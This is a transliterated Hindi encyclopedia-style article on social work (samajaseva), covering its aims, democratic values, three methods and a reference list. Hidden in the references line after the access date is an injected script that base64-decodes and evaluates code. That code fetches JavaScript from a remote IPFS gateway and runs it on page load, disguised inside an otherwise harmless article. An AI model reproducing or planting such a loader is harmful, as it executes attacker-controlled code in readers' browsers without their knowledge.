समाजसेवा

samajaseva vaiyaktik adhar par, samooh athava samuday mean vyaktiyoan ki sahayata karane ki ek prakriya hai, jisase vyakti apani sahayata svayan kar sake. isake madhyam se sevarthi vartaman samajik paristhitiyoan mean utpann apani katipay samasyaoan ko svayan sulajhane mean saksham hota hai. at: ham samajaseva ko ek samarthakari prakriya kah sakate haian. yah any sabhi vyavasayoan se sarvatha bhinn hoti hai, kyoanki samaj seva un sabhi samajik, arthik evan manovaijnanik karakoan ka niroopan kar usake pariprekshy mean kriyanvit hoti hai, jo vyakti evan usake paryavaran-parivar, samuday tatha samaj ko prabhavit karate haian. samajik karyakarta paryavaran ki samajik, arthik evan saanskritik shaktiyoan ke bad vyaktigat jaivikiy, bhavatmak tatha manovaijnanik tatvoan ko gatishil aant:kriya ko drishtigat kar hi sevarthi ki seva pradan karata hai. vah sevarthi ke jivan ke pratyek pahaloo tatha usake paryavaran mean kriyashil, pratyek samajik sthiti se avagat rahata hai kyoanki seva pradan karane ki yojana batate samay vah inaki upeksha nahian kar sakata.

uddeshy

samajaseva ka uddeshy vyaktiyoan, samoohoan aur samudayoan ka adhikatam hitasadhan hota hai. at: samajik karyakarta sevarthi ko usaki samasyaoan ka samadhan karane mean saksham banane ke sath usake paryavaran mean apekshit sudhar lane ka prayas karata hai aur apane lakshy ki prapti ke nimitt sevarthi ki kshamata tatha paryavaran ki rachanatmak shaktiyoan ka prayog karata hai. samajaseva sevarthi tatha usake paryavaran ke hitoan mean samanjasy sthapit karane ka prayas karati hai.

samajaseva ka svaroop

samajaseva ka vartaman svaroop nimnalikhit janataantrik moolyoan ke adhar par nirmit hua hai :

• vyakti ki aantanirhit kshamata, samagrata evan garima mean vishvas-samajaseva sevarthi ki parivartan aur pragati ki kshamata mean vishvas karati hai.
• svanirnay ka adhikar - samajik karyakarta sevarthi ko apani avashyakataoan aur unaki poorti ki yojana ke nirdharan ki poorn svatantrata pradan karata hai. nissandeh karyakarta sevarthi ko spasht aantardrishti prapt karane mean sahayata karata hai jisase vah vastavikata ko svikar kar lakshyaprapti ki disha mean unmukh ho.
• avasar ki samanata mean vishvas - samaj seva sabako saman roop se upalabdh rahati hai aur sabhi prakar ke pakshapatoan aur poorvagrahoan se mukt karyakartasamooh athava samuday ke sabhi sadasyoan ko unaki kshamata aur avashyakata ke anuroop sahayata pradan karata hai.
• vyaktigat adhikaroan evan samajik uttaradayitvoan mean aantastanbadkt vyakti ke svanirnay evan saman avasaraprapti ke adhikar, usake parivar, samooh evan samaj ke prati usake uttaradayitv se sanbanddh hote haian. at: samajik karyakarta vyakti ki abhivrittiyoan evan samooh tatha samuday ke sadasyoan ki aant:kriyaoan, vyavaharoan tatha unake lakshyoan ke nirdharan ko is prakar nideshit karata hai ki unake hit ke sath unake brihadh samaj ka bhi hitasadhan ho.

samajaseva is prayojan ke nimitt sthapit vibhinn sansthaoan ke madhyam se vahaan niyukt prashikshit samajik karyakartaoan dvara pradan ki jati hai. karyakartaoan ka jnan, anubhav, vyaktigat kushalata ek seva karane ki unaki manovritti seva ke star ki nirdharak hoti hai. karyakarta mean vyaktivikas ki sanpoorn prakriya evan manav vyavahar tatha samooh vyavahar ki gatishilata tatha unake nirdharak tatvoan ka samyakh‌ jnan samajaseva ki pratham anivaryata hai. is prakar jnan par adharit samajaseva vyakti ki samoohoan athava samuday ki sahaj yogyataoan tatha sarjanatmak shaktiyoan ko unmukt evan vikasit kar svanirdharit lakshy ki disha mean kriyashil banati hai, jisase ve apani sanvegatmak, manovaijnanik, arthik, evan samajik samasyaoan ka samadhan dhooandhane mean svayan sakriy roop se pravritt hote haian. sevarthi apani durbalataoan-kuantha, nairashy, hinata, asahayata evan asanpriktata ki bhavagranthiyoan aur manasik tanav, dvandv tatha vidveshajanit akramanatmak manovrittiyoan ka parityag kar karyakarta ke sath kis sima tak sahayog karata hai, yah karyakarta aur sevarth ke madhy sthapit sanbandh par nirbhar karata hai. yadi sevathian samooh ya samuday hai to lakshyaprapti mean usake sadasyoan ke madhy vartaman sanbandh ka vishesh mahatv hota hai. samajaseva mean sanbandh hi sanpoorn sahayata ka adhar hai aur yah vyavasayik sanbandh sadaiv sabhipray hota hai.

prakar

samajaseva ke tin prakar hote haian-

vaiyaktik samajaseva

is prakriya ke madhyam se ek vyakti doosare vyakti ki sahayata vartaman samajik paristhitiyoan mean utpann usaki katipay samasyaoan ke samadhan ke lie karata hai jisamean vah samaj dvara svikary santoshapoorn jivan vyatit kar sake.

samoohik samajaseva

ek vidhi hai jisake madhyam se kisi samajik samooh ke sadasyoan ki sahayata ek karyakarta dvara ki jati hai, jo samooh ke karyakramoan aur usake sadasyoan ki aant:kriyaoan ko nirdeshit karata hai. jisase ve vyakti ki pragati evan samooh ke lakshyoan ki prapti mean yogadan kar sakean.

samudayik sangathan

vah prakriya hai jisake dvara ek sangathanakarta ki sahayata se ek samuday ke sadasy ko samuday aur lakshyoan se avagat hokar, upalabdh sadhanoan dvara unaki poorti avashyataoan ke nimitt samoohik evan sangathit prayas karate haian. is prakar samast seva ki tinoan vidhiyoan ka lakshy vyaktiyoan ki avashyakataoan ki poorti hai. unaki sahayata is prakar ki jati hai ki ve apani avashyakataoan, vyaktigat kshamata tatha prapy sadhanoan se bhali-bhaanti avagat hokar pragati kar sake tatha svasth samaj vyavastha ke nirman mean sahayak hoan.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

samajaseva (hindi) bharatakhoj. abhigaman tithi: 6 faravari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sandarbh granth

• rajaram shastri : samajaseva ka svaroop
• vadiya : histri aiand phil aausaphi aauv soshal vark in iandiya
• phridalaiandar : kaansepts aiand methads aauv soshal vark
• klark : prisipuls aauv soshal vark
• stap : soshal vark
• phrank : phold aauv soshal vark
• bisnoan : phil aausaphi aauv soshal vark
• broono : treands vark
• ain insaiklopidiya aauv soshal vark, bharatiy sanskaran
• korakaisias : nyoo dairekshans in soshal vark
• mirian van vatars : philasafikal treands in m aaudarn soshal vark
• arlin j aaunasan : develapameant aauv vesik meyads aauv soshal vark
• praiktis aiand ejukeshan; soshal vark jarnal, julaee, 1950
• helen vitanar : soshal vark
• e. e. es. uvlyoo.-soshal vark eeyarabuk, 1952
• rajaram shastri : soshalashh vark tredoshan in iandiya.

sanbandhit lekh

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